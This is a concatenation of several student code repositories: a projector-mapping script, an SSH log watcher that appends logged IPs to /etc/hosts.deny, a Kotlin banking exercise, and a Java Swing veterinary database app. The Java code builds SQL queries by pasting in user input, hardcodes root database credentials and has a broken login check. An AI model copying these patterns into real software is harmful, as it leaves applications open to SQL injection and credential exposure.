bw_images = np.asarray(bw_images) ** (1.0/2.2)
cos = np.asarray([bw_images[1 + i * 2] - np.mean([bw_images[0],bw_images[-1]],axis=0) for i in range((len(bw_images)-2)//2)])
sin = np.asarray([bw_images[2 + i * 2] - np.mean([bw_images[0],bw_images[-1]],axis=0) for i in range((len(bw_images)-2)//2)])
valid_projection = np.std(bw_images, axis = 0) > valid_threshold
phase = np.arctan2(sin, cos) * valid_projection
#TODO phase unwrapping
#intensity calibration needed
from matplotlib import pyplot as plt
for p in phase:
plt.imshow(p % 0.5)
plt.show()
if __name__ == "__main__":
import os
import pickle
from camera import Camera
from opencv_chromecast import Chromecast
sl = GrayCodeStructuredLight((480, 854))
if False and os.path.exists('images.pickle') and input('Load pickle (Y/n)?') != 'n':
pattern_images = pickle.load(open('images.pickle','rb'))
else:
camera = Camera()
with Chromecast("10.0.0.82") as cc:
pattern_images = sl.capture(cc.imshow, camera.capture)
pickle.dump(pattern_images, open('images.pickle','wb'))
projector_map = sl.process_images(pattern_images)
color_map = sl.process_color(pattern_images)
# show results
map = ((255,255,0) * projector_map / projector_map.max()).astype(np.uint8)[:,:,::-1]
val = (255 * projector_map[:,:,-1]).astype(np.uint8)
col = (255 * color_map / color_map.max()).astype(np.uint8)
cv2.imshow("map", map)
cv2.imshow("val", val)
cv2.imshow("col", col)
cv2.waitKey()
cv2.destroyAllWindows()
# img = cv2.imread("lama.jpg")
# img = cv2.remap(img, projector_map[:,:,:2].astype(np.float32), (), cv2.INTER_LINEAR)
# with Chromecast("10.0.0.82") as cc:
# cc.imshow(img)
# time.sleep(10)<file_sep>/camera.py
import cv2
class Camera():
def __init__(self):
self.cam = cv2.VideoCapture(0 + cv2.CAP_DSHOW)
self.cam.set(cv2.CAP_PROP_FRAME_WIDTH, 1920), self.cam.set(cv2.CAP_PROP_FRAME_HEIGHT, 1080)
self.shape = (int(self.cam.get(cv2.CAP_PROP_FRAME_HEIGHT)), int(self.cam.get(cv2.CAP_PROP_FRAME_WIDTH)))
def capture(self):
_, frame = self.cam.read()
return frame
def __del__(self):
self.cam.release() | 51919bc8b0715b4848e4b6e1b9086f2171bfde8d | [
"Python"
] | 2 | Python | aroidzap/video-mapping | 241e2d77e5ea6bbe246565f57594ba501975d018 | 9b592d311cae88d7b6b60769e758a99483477851 |
refs/heads/master | <repo_name>johnshiver/sshbro<file_sep>/sshbro.py
import time
import re
import sqlite3
import os
import os.path
try:
db_path = "sshbro.sqlite"
if not os.path.exists(db_path):
print("SQLite file not found, creating.")
sqlite_db = 'sshbro.sqlite'
conn = sqlite3.connect(sqlite_db)
sql = conn.cursor()
sql.execute("CREATE TABLE IF NOT EXISTS hosts(date TEXT, ip TEXT, status INTEGER)")
conn.commit()
conn.close()
log = '/var/log/secure'
file = open(log,'r')
while 1:
where = file.tell()
line = file.readline()
if not line:
time.sleep(1)
file.seek(where)
else:
sqlite_db = 'sshbro.sqlite'
conn = sqlite3.connect(sqlite_db)
sql = conn.cursor()
ip = str(re.findall( r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', line ))
date = str(time.strftime("%Y-%m-%d"))
sql.execute("INSERT INTO hosts VALUES (?, ?, ?)", (date, ip[2:-2], 1))
sql.execute("DELETE FROM hosts WHERE ip IS NULL OR trim(ip) = '';")
conn.commit()
conn.close()
os.system('clear')
except:
print("bam! killed.")
sqlite_db = 'sshbro.sqlite'
conn = sqlite3.connect(sqlite_db)
sql = conn.cursor()
sql.execute('SELECT DISTINCT ip FROM hosts;')
ip = sql.fetchall()
for row in ip:
with open('/etc/hosts.deny', 'a') as hosts_deny:
hosts_deny.write("ALL: " + row[0] + "\n")
print("ALL: " + row[0])
conn.close()
| 50cc3b5f47cb4f4eee06c6d0cdc08b91db87acd6 | [
"Python"
] | 1 | Python | johnshiver/sshbro | f9dbaf41acb34a5beda1b918ecc1a3379efc4ca1 | 20331599ac360598f35f93a710e241459a355d8f |
refs/heads/master | <repo_name>NicolasBrunaldi/bytebank<file_sep>/src/main/kotlin/br/com/alura/bytebank/exception/SaldoInsuficienteException.kt
package br.com.alura.bytebank.exception
import java.lang.Exception
class SaldoInsuficienteException(message: String = "Saldo Insuficiente") : Exception(message) {
}
<file_sep>/src/main/kotlin/br/com/alura/bytebank/modelo/Endereco.kt
package br.com.alura.bytebank.modelo
class Endereco(
var rua: String = "",
var numero: Int = 0,
var bairro: String = "",
var complemento: String = ""
) {
}
<file_sep>/src/main/kotlin/br/com/alura/bytebank/modelo/Conta.kt
package br.com.alura.bytebank.modelo
abstract class Conta(val titular: Cliente, val numero: Int) {
var saldo = 0.0
protected set
fun depositar(valor: Double){
if(valor > 0) this.saldo += valor
}
abstract fun sacar(valor: Double)
fun transferir(destino: Conta, valor: Double): Boolean {
if(valor in 0.0 .. this.saldo) {
sacar(valor)
destino.depositar(valor)
return true
}
return false
}
}<file_sep>/src/main/kotlin/main.kt
import br.com.alura.bytebank.modelo.*
fun main(){
val diretor : Funcionario = Diretor(
nome = "<NAME>",
cpf = "466.555.721-13",
salario = 5000.0,
senha = "<PASSWORD>",
plr = 1000.0
)
val gerente : Funcionario = Gerente(nome = "<NAME>", cpf = "090.868.657-03", salario = 2300.0, senha = "<PASSWORD>")
val calculadoraBonificacao = CalculadoraBonificacao()
calculadoraBonificacao.registra(diretor)
calculadoraBonificacao.registra(gerente)
println("total de bonificações = ${calculadoraBonificacao.total}")
println()
val contaCorrenteNicolas : Conta = ContaCorrente(Cliente(nome = "<NAME>", cpf = "222.987.675-02", senha = "<PASSWORD>", Endereco()), numero = 1000)
val contaPoupancaJoao : Conta = ContaPoupanca(titular = Cliente(nome = "<NAME>", cpf = "262.957.899-07", senha = "<PASSWORD>", Endereco()), numero = 1001)
contaCorrenteNicolas.depositar(1000.0)
contaPoupancaJoao.depositar(100.0)
contaCorrenteNicolas.transferir(valor = 1000.0, destino = contaPoupancaJoao)
println("saldo conta joão ${contaPoupancaJoao.saldo}")
println("saldo conta joão ${contaCorrenteNicolas.saldo}")
}<file_sep>/src/main/kotlin/br/com/alura/bytebank/modelo/Gerente.kt
package br.com.alura.bytebank.modelo
class Gerente(nome: String,
cpf: String,
salario: Double,
var senha: String): Funcionario(nome = nome, cpf = cpf, salario = salario), Autenticavel {
override val bonificacao: Double
get() {
return salario * 1.1
}
override fun autentica(senha: String): Boolean {
if (senha.equals(this.senha)){
return true
}
return false
}
}<file_sep>/src/main/kotlin/br/com/alura/bytebank/modelo/Cliente.kt
package br.com.alura.bytebank.modelo
class Cliente(
val nome: String,
val cpf: String,
val senha: String,
var Endereco: Endereco = Endereco()
) {
}<file_sep>/src/main/kotlin/br/com/alura/bytebank/modelo/ContaPoupanca.kt
package br.com.alura.bytebank.modelo
import br.com.alura.bytebank.exception.SaldoInsuficienteException
class ContaPoupanca(titular: Cliente, numero: Int) : Conta(titular, numero) {
override fun sacar(valor: Double) {
if (valor < saldo) throw SaldoInsuficienteException()
saldo -= valor
}
}<file_sep>/src/main/kotlin/br/com/alura/bytebank/modelo/Autenticavel.kt
package br.com.alura.bytebank.modelo
interface Autenticavel {
fun autentica(senha: String): Boolean
}<file_sep>/src/main/kotlin/br/com/alura/bytebank/modelo/ContaCorrente.kt
package br.com.alura.bytebank.modelo
import br.com.alura.bytebank.exception.SaldoInsuficienteException
class ContaCorrente(titular: Cliente, numero: Int) : Conta(titular, numero) {
override fun sacar(valor: Double) {
var valorComTaxa = valor + 0.1
if (saldo < valorComTaxa) throw SaldoInsuficienteException()
saldo -= valorComTaxa
}
}<file_sep>/src/main/kotlin/br/com/alura/bytebank/modelo/Funcionario.kt
package br.com.alura.bytebank.modelo
abstract class Funcionario(val nome: String, val cpf: String, val salario: Double) {
abstract val bonificacao: Double
} | 20baea0b977f5724228f46d36d55c1ace76dd35f | [
"Kotlin"
] | 10 | Kotlin | NicolasBrunaldi/bytebank | 2ecab93dc23eb3849c908efc6ba672fac1f282a9 | daae974647f382a8a93c3891143058d12d9f1280 |
refs/heads/master | <repo_name>chrisWilliams2/TeamProject<file_sep>/Heather COmplete/src/Gui/ListUsersGui.java
package Gui;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JTable;
import javax.swing.UIManager;
import net.proteanit.sql.DbUtils;
import Database.ConnectToDatabase;
import com.mysql.jdbc.PreparedStatement;
import java.sql.Connection;
import java.sql.ResultSet;
import javax.swing.JButton;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
import javax.swing.JScrollPane;
public class ListUsersGui {
protected JFrame frmListUsers;
public static JButton jbtnLoad;
/**
* Launch the application.
*/
public static void main(String[] args) {
try {
UIManager.setLookAndFeel("javax.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (Throwable e) {
e.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
ListUsersGui window = new ListUsersGui();
window.frmListUsers.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
Connection con = null;
private JTable table;
/**
* Create the application.
*/
public ListUsersGui() {
initialize();
con = ConnectToDatabase.dbConnector();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frmListUsers = new JFrame();
frmListUsers.setTitle("List Users");
frmListUsers.setBounds(100, 100, 616, 325);
frmListUsers.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
frmListUsers.getContentPane().setLayout(null);
jbtnLoad = new JButton();
jbtnLoad.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
try{
String query = "select * from dbuseraccount.users";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
table.setModel(DbUtils.resultSetToTableModel(rs));
}catch(Exception ex){
System.out.println(ex);
}
}
});
jbtnLoad.setText("Load User Data");
jbtnLoad.setBounds(134, 23, 122, 28);
frmListUsers.getContentPane().add(jbtnLoad);
JScrollPane scrollPane = new JScrollPane();
scrollPane.setBounds(144, 57, 450, 223);
frmListUsers.getContentPane().add(scrollPane);
table = new JTable();
scrollPane.setViewportView(table);
}
}
<file_sep>/Database/ConnectToDatabase.java
package Database;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import javax.swing.JOptionPane;
import com.mysql.jdbc.PreparedStatement;
public class ConnectToDatabase {
public static Connection con;
public static Connection dbConnector(){
try{
//Class.forName("com.mysql.jdbc.Driver");
con =DriverManager.getConnection("jdbc:mysql://localhost:3306/dbuseraccount?autoReconnect=true&useSSL=false","root","root");
JOptionPane.showMessageDialog(null, "Connection Successful");
return con;
}catch(Exception ex){
JOptionPane.showMessageDialog(null, ex);
return null;
}
}
public static void writeData(String role, String firstName, String surName, String username, String password){
try{
PreparedStatement ps = (PreparedStatement) con.prepareStatement("INSERT INTO users( role ,firstName, surName,username, password)VALUES ('"+role+"','"+firstName+"','"+surName+"','"+username+"','"+password+"')");
ps.executeUpdate();
ps.close();
con.close();
System.out.println("works");
}catch(Exception ex){
System.out.println(ex);
}
}
public static void checkpass(String username, char[] password){
try {
String queryString = "SELECT * FROM users where username=? and password=?";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(queryString);
ResultSet results = ps.executeQuery(queryString);
if(!results.next()) {
JOptionPane.showMessageDialog(null, "Wrong Username and Password.");
}
/*
PreparedStatement ps = (PreparedStatement) con.prepareStatement("INSERT INTO users( role ,firstName, surName,username, password)VALUES ('"+role+"','"+firstName+"','"+surName+"','"+username+"','"+password+"')");
ps.executeUpdate();
ps.close();
con.close();
System.out.println("works");
*/
}catch(Exception ex){
System.out.println(ex);
}
}
public static void writeDataOwner(String FName, String LName, String Address, String PhoneNo)
{
try{
PreparedStatement ps = (PreparedStatement) con.prepareStatement("INSERT INTO dbuseraccount.Owner(FName, LName, Address, PhoneNo)VALUES ( '" + FName + "','" + LName + "','" + Address + "','" + PhoneNo + "')");
ps.executeUpdate();
ps.close();
con.close();
System.out.println("works");
}
catch(Exception ex)
{
System.out.println(ex);
}
}
public static void writeDataAnimal(String Name, String Gender, String Type, String Breed)
{
try{
PreparedStatement ps = (PreparedStatement) con.prepareStatement("INSERT INTO dbuseraccount.animal(Name,Gender, Type, Breed)VALUES ( '" + Name + "','" + Gender + "','" + Type + "','" + Breed + "')");
ps.executeUpdate();
ps.close();
con.close();
System.out.println("works");
}
catch(Exception e)
{
System.out.println(e);
}
}
public static void writeDataAppointment( String Date, String CustID, String AniID, String PetType, String Injury)
{
try{
PreparedStatement ps = (PreparedStatement) con.prepareStatement("Update dbuseraccount.scheduler(Date, CustID, AniId, PetType, Injury)VALUES ('" + Date + "','" + CustID + "','" + AniID + "','" + PetType + "','" + Injury + "')");
ps.execute();
ps.close();
con.close();
System.out.println("works");
}
catch(Exception e)
{
System.out.println(e);
}
}
}
<file_sep>/Heather COmplete/src/Gui/DeleteOwner.java
package Gui;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JButton;
import net.proteanit.sql.DbUtils;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.sql.Connection;
import java.sql.ResultSet;
import com.mysql.jdbc.PreparedStatement;
import Database.ConnectToDatabase;
import javax.swing.JTable;
import javax.swing.JTextField;
import javax.swing.UIManager;
import javax.swing.JScrollPane;
public class DeleteOwner {
protected JFrame frame;
private JTable table_1;
/**
* Launch the application.
*/
public static void main(String[] args) {
try {
UIManager.setLookAndFeel("javax.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (Throwable e) {
e.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
DeleteOwner window = new DeleteOwner();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
Connection con = null;
private JTextField textField;
private JTextField textField_1;
private JTextField textField_2;
private JTextField textField_5;
private JButton btnLoad;
private JScrollPane scrollPane;
private JLabel lblCustId;
private JTextField textFieldCustId;
public void refreshTable()
{
try{
String query = "select * from dbuseraccount.owner";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
table_1.setModel(DbUtils.resultSetToTableModel(rs));
}catch(Exception ex){
System.out.println(ex);
}
}
/**
* Create the application.
*/
public DeleteOwner()
{
initialize();
con = ConnectToDatabase.dbConnector();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frame = new JFrame();
frame.setBounds(100, 100, 644, 339);
frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
frame.getContentPane().setLayout(null);
JLabel lblSelectThePerson = new JLabel("Select the Person You wish to delete");
lblSelectThePerson.setBounds(115, 11, 200, 14);
frame.getContentPane().add(lblSelectThePerson);
JLabel lblFname = new JLabel("FName:");
lblFname.setBounds(10, 99, 84, 14);
frame.getContentPane().add(lblFname);
JLabel lblSname = new JLabel("SName:");
lblSname.setBounds(10, 139, 73, 14);
frame.getContentPane().add(lblSname);
JLabel lblAddress = new JLabel("Address:");
lblAddress.setBounds(10, 171, 84, 14);
frame.getContentPane().add(lblAddress);
JLabel lblPhoneNo = new JLabel("Phone No:");
lblPhoneNo.setBounds(10, 203, 84, 14);
frame.getContentPane().add(lblPhoneNo);
textField = new JTextField();
textField.setBounds(106, 92, 86, 28);
frame.getContentPane().add(textField);
textField.setColumns(10);
textField_1 = new JTextField();
textField_1.setBounds(106, 132, 86, 28);
frame.getContentPane().add(textField_1);
textField_1.setColumns(10);
textField_2 = new JTextField();
textField_2.setBounds(106, 164, 86, 28);
frame.getContentPane().add(textField_2);
textField_2.setColumns(10);
textField_5 = new JTextField();
textField_5.setBounds(106, 196, 86, 28);
frame.getContentPane().add(textField_5);
textField_5.setColumns(10);
scrollPane = new JScrollPane();
scrollPane.setBounds(224, 30, 384, 241);
frame.getContentPane().add(scrollPane);
table_1 = new JTable();
scrollPane.setViewportView(table_1);
table_1.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
try{
int row = table_1.getSelectedRow();
String custID =(table_1.getModel().getValueAt(row, 0)).toString();
String query = "select * from dbuseraccount.owner where CustID= '"+custID+"'";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
while (rs.next()){
textFieldCustId.setText(rs.getString("CustId"));
textField.setText(rs.getString("FName"));
textField_1.setText(rs.getString("LName"));
textField_2.setText(rs.getString("Address"));
textField_5.setText(rs.getString("PhoneNo"));
}
}catch(Exception ex){
ex.printStackTrace();;
}
}
});
JButton btnDelete = new JButton("Delete");
btnDelete.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
int action = JOptionPane.showConfirmDialog(null, "Are you sure you want to delete user?", "Delete User",JOptionPane.YES_NO_OPTION);
if(action == 0)
{
try{
String query = ("Delete from owner where CustID= '"+ textFieldCustId.getText()+"' " );
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ps.execute();
JOptionPane.showMessageDialog(null, "Data Deleted");
ps.close();
}catch(Exception ex ){
ex.printStackTrace();
}
refreshTable();
}
}
});
btnDelete.setBounds(10, 248, 89, 23);
frame.getContentPane().add(btnDelete);
JButton btnCancel = new JButton("Cancel");
btnCancel.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
frame.dispose();
}
});
btnCancel.setBounds(115, 248, 89, 23);
frame.getContentPane().add(btnCancel);
btnLoad = new JButton("Load");
btnLoad.addActionListener(new ActionListener()
{
//loads the users table from database and displays in the JTable
public void actionPerformed(ActionEvent arg0)
{
try{
String query = "select * from dbuseraccount.owner";
PreparedStatement ps = (PreparedStatement) con.prepareStatement(query);
ResultSet rs = ps.executeQuery();
table_1.setModel(DbUtils.resultSetToTableModel(rs));
}catch(Exception ex){
System.out.println(ex);
}
}
});
btnLoad.setBounds(333, 7, 89, 23);
frame.getContentPane().add(btnLoad);
lblCustId = new JLabel("OwnerID:");
lblCustId.setBounds(10, 58, 55, 16);
frame.getContentPane().add(lblCustId);
textFieldCustId = new JTextField();
textFieldCustId.setEditable(false);
textFieldCustId.setColumns(10);
textFieldCustId.setBounds(106, 52, 86, 28);
frame.getContentPane().add(textFieldCustId);
}
}
<file_sep>/Classes1/Gui/CreateAnimal.java
package Gui;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JTextField;
import java.awt.Color;
import javax.swing.JButton;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import Database.ConnectToDatabase;
import javax.swing.UIManager;
public class CreateAnimal {
protected JFrame frame;
protected JTextField textField;
private JTextField textField_1;
private JTextField textField_3;
private JTextField textField_4;
private JTextField textFieldCustID;
/**
* Launch the application.
*/
public static void main(String[] args) {
try {
UIManager.setLookAndFeel("javax.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (Throwable e) {
e.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
CreateAnimal window = new CreateAnimal();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
*/
public CreateAnimal() {
initialize();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frame = new JFrame();
frame.setBackground(new Color(240, 128, 128));
frame.setBounds(100, 100, 480, 222);
frame.getContentPane().setLayout(null);
JLabel lblName = new JLabel("Name:");
lblName.setBounds(21, 31, 46, 14);
frame.getContentPane().add(lblName);
textField = new JTextField();
textField.setBounds(77, 28, 109, 28);
frame.getContentPane().add(textField);
textField.setColumns(10);
JLabel lblType = new JLabel("Type:");
lblType.setBounds(21, 68, 46, 14);
frame.getContentPane().add(lblType);
JLabel lblCreateAnimalAccount = new JLabel("Create Animal Account");
lblCreateAnimalAccount.setBounds(175, 3, 125, 14);
frame.getContentPane().add(lblCreateAnimalAccount);
JLabel lblBreed = new JLabel("Breed:");
lblBreed.setBounds(222, 68, 46, 14);
frame.getContentPane().add(lblBreed);
textField_1 = new JTextField();
textField_1.setBounds(272, 60, 125, 28);
frame.getContentPane().add(textField_1);
textField_1.setColumns(10);
JLabel lblGender = new JLabel("Gender:");
lblGender.setBounds(222, 31, 46, 14);
frame.getContentPane().add(lblGender);
textField_3 = new JTextField();
textField_3.setBounds(77, 60, 109, 28);
frame.getContentPane().add(textField_3);
textField_3.setColumns(10);
textField_4 = new JTextField();
textField_4.setBounds(275, 28, 122, 28);
frame.getContentPane().add(textField_4);
textField_4.setColumns(10);
JButton btnSaveDetails = new JButton("Save Details");
btnSaveDetails.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
{
String Name = textField.getText();
String Type = textField_1.getText();
String Gender = textField_4.getText();
String Breed = textField_3.getText();
//String OwnerID = textFieldCustID.getText();
if(Name.length() < 1 || Type.length() < 1 || Gender.length() < 1 || Breed.length() < 1)
{
JOptionPane.showMessageDialog(null, "Please enter information into every field", "Enter all information", 0);
}
else
{
//dbConnector connect = new dbConnector();
ConnectToDatabase.writeDataAnimal(Breed, Gender, Name, Type);
JOptionPane.showMessageDialog(null, "User created successfully", "Success.", 0);
frame.dispose();
}
}
}
});
btnSaveDetails.setBounds(160, 150, 119, 23);
frame.getContentPane().add(btnSaveDetails);
/*JLabel lblCustID = new JLabel("Owner ID:");
lblCustID.setBounds(21, 110, 60, 14);
frame.getContentPane().add(lblCustID);
textFieldCustID = new JTextField();
textFieldCustID.setColumns(10);
textFieldCustID.setBounds(77, 96, 109, 28);
frame.getContentPane().add(textFieldCustID);
*/
}
}
<file_sep>/Classes1/Gui/Animal.java
package Gui;
import java.awt.EventQueue;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JButton;
import javax.swing.UIManager;
public class Animal {
protected JFrame frame;
/**
* Launch the application.
*/
public static void main(String[] args) {
try {
UIManager.setLookAndFeel("javax.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (Throwable e) {
e.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
Animal window = new Animal();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
*/
public Animal()
{
frame = new JFrame();
frame.setBounds(100, 100, 366, 264);
frame.getContentPane().setLayout(null);
JLabel lblPleaseChooseWhat = new JLabel("Please Choose What To Do With The Animal");
lblPleaseChooseWhat.setBounds(50, 11, 253, 32);
frame.getContentPane().add(lblPleaseChooseWhat);
JButton btnNewButton = new JButton("Create Account");
btnNewButton.setBounds(22, 54, 112, 121);
frame.getContentPane().add(btnNewButton);
btnNewButton.addMouseListener(new MouseAdapter()
{
@Override
public void mouseClicked(MouseEvent e)
{
int cmd = e.getButton();
if(cmd == 1)
{
CreateAnimal a = new CreateAnimal();
a.frame.setVisible(true);
}
}
});
JButton btnEditAccount = new JButton("Edit Account");
btnEditAccount.setBounds(216, 54, 112, 121);
frame.getContentPane().add(btnEditAccount);
btnEditAccount.addMouseListener(new MouseAdapter()
{
@Override
public void mouseClicked(MouseEvent e)
{
int cmd = e.getButton();
if(cmd == 1)
{
EditAnimal a = new EditAnimal();
a.frame.setVisible(true);
}
}
});
JLabel lblEnsureAllDetails = new JLabel("Ensure all details are correct before leaving this page");
lblEnsureAllDetails.setBounds(32, 186, 299, 30);
frame.getContentPane().add(lblEnsureAllDetails);
}
}
<file_sep>/Heather COmplete/src/Gui/AdminGui.java
package Gui;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JButton;
import java.awt.Color;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
import javax.swing.UIManager;
public class AdminGui {
JFrame frmAdministrator;
/**
* Launch the application.
*/
public static void main(String[] args) {
try {
UIManager.setLookAndFeel("javax.swing.plaf.nimbus.NimbusLookAndFeel");
} catch (Throwable e) {
e.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
AdminGui window = new AdminGui();
window.frmAdministrator.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
*/
public AdminGui() {
initialize();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frmAdministrator = new JFrame();
frmAdministrator.setTitle("Administrator");
frmAdministrator.getContentPane().setBackground(Color.LIGHT_GRAY);
frmAdministrator.setBounds(100, 100, 403, 300);
frmAdministrator.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frmAdministrator.getContentPane().setLayout(null);
JButton btnListUsers = new JButton("List User Accounts");
btnListUsers.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
}
});
btnListUsers.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
int cmd = e.getButton();
if(cmd == 1)
{
ListUsersGui window = new ListUsersGui();
window.frmListUsers.setVisible(true);
}
}
});
btnListUsers.setForeground(Color.BLACK);
btnListUsers.setToolTipText("List all recorded user accounts.");
btnListUsers.setBounds(16, 27, 154, 45);
frmAdministrator.getContentPane().add(btnListUsers);
JButton btnCreateUsers = new JButton("Create User Account");
btnCreateUsers.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
int cmd = e.getButton();
if(cmd == 1)
{
CreateUserAccountGui window = new CreateUserAccountGui();
window.frmCreateUserAccount.setVisible(true);
}
}
});
btnCreateUsers.setToolTipText("Create a new user account");
btnCreateUsers.setBounds(215, 27, 154, 45);
frmAdministrator.getContentPane().add(btnCreateUsers);
JButton btnEditUserAccount = new JButton("Edit User Account");
btnEditUserAccount.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
int cmd = e.getButton();
if(cmd == 1){
EditUserGui window = new EditUserGui();
window.frmEditUserAccount.setVisible(true);
}
}
});
btnEditUserAccount.setToolTipText("Edit a user account");
btnEditUserAccount.setBounds(215, 77, 154, 45);
frmAdministrator.getContentPane().add(btnEditUserAccount);
JButton btnDeleteUserAccount = new JButton("Delete User Account");
btnDeleteUserAccount.addMouseListener(new MouseAdapter() {
@Override
public void mouseClicked(MouseEvent e) {
int cmd = e.getButton();
if(cmd == 1){
DeleteUserAccount window = new DeleteUserAccount();
window.frmDeleteUserAccount.setVisible(true);
}
}
});
btnDeleteUserAccount.setToolTipText("Delete a user account");
btnDeleteUserAccount.setBounds(16, 77, 154, 45);
frmAdministrator.getContentPane().add(btnDeleteUserAccount);
JButton btnLogout = new JButton("Logout");
btnLogout.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
frmAdministrator.dispose();
}
});
btnLogout.setBounds(101, 181, 200, 45);
frmAdministrator.getContentPane().add(btnLogout);
}
}
<file_sep>/Heather COmplete/src/Classes/Owner.java
package Classes;
public class Owner
{
private String FName;
private String LName;
private String Add1, Add2, Add3;
private String PhoneNo;
private int CustID;
public Owner()
{
}
public void setFName(String in)
{
FName = in;
}
public void setLname(String i)
{
LName = i;
}
public void setAddress(String home, String address, String here)
{
Add1 = home;
Add2 = address;
Add3 = here;
}
public void setPhoneNo(String number)
{
PhoneNo = number;
}
public String getFName()
{
return FName;
}
public String getSName()
{
return LName;
}
public String getAddress()
{
return Add1 + " \n" + Add2 + " \n" + Add3 + " \n";
}
public String getPhoneNo()
{
return PhoneNo;
}
public int getCustID()
{
return CustID;
}
public String view()
{
return FName + " " + LName + " \n" + Add1 + " \n" + Add2 + " \n" + Add3 + " \n" + PhoneNo;
}
public String toString()
{
return FName + " " + LName;
}
}
<file_sep>/README.md
# TeamProject
Team Project folder
This is a third year project.
Not really that interesting!
<file_sep>/Heather COmplete/src/Classes/Ani.java
package Classes;
public class Ani
{
private String name;
private String type;
private String breed;
private String gender;
private String treatment;
private String prescription;
private static int AniNo = 1;
private int AniID;
private String overnight;
public Ani()
{
AniID = AniNo;
}
public String getName()
{
return name;
}
public void setName(String in)
{
name = in;
}
public String getType()
{
return type;
}
public void setType(String t)
{
name = t;
}
public String getBreed()
{
return breed;
}
public void setBreed(String b)
{
breed = b;
}
public String getGender()
{
return gender;
}
public void setGender(String in)
{
gender = in;
}
public String getTreatment()
{
return treatment;
}
public void setTreatment(String i)
{
treatment = i;
}
public String getPrescription()
{
return prescription;
}
public void setPrescription(String p)
{
prescription = p;
}
public int getAnimalID()
{
return AniID;
}
public void setOvernight(String in)
{
overnight = in;
}
public String getOvernight()
{
return overnight;
}
public String toString()
{
return "Name: " +name + " Animal ID: " + AniID;
}
public String view()
{
return "Name: " +name + " Animal ID: " + AniID + "\nGender: " + gender +" Type: " + type +" Breed: " + breed;
}
}
<file_sep>/Gui/Appointment.java
package Gui;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JTable;
import javax.swing.JLabel;
import java.awt.Color;
import javax.swing.JScrollPane;
import javax.swing.table.DefaultTableModel;
import javax.swing.ListSelectionModel;
import javax.swing.border.BevelBorder;
public class Appointment {
protected JFrame frame;
protected JScrollPane scrollPane;
private JTable table;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
Appointment window = new Appointment();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
*/
public Appointment() {
initialize();
}
/**
* Initialize the contents of the frame.
*/
@SuppressWarnings("serial")
private void initialize() {
frame = new JFrame();
frame.getContentPane().setBackground(new Color(152, 251, 152));
frame.setBounds(100, 100, 718, 391);
frame.getContentPane().setLayout(null);
scrollPane = new JScrollPane();
scrollPane.setBounds(10, 36, 682, 286);
frame.getContentPane().add(scrollPane);
table = new JTable();
table.setBorder(new BevelBorder(BevelBorder.LOWERED, null, null, null, null));
table.setSelectionMode(ListSelectionModel.MULTIPLE_INTERVAL_SELECTION);
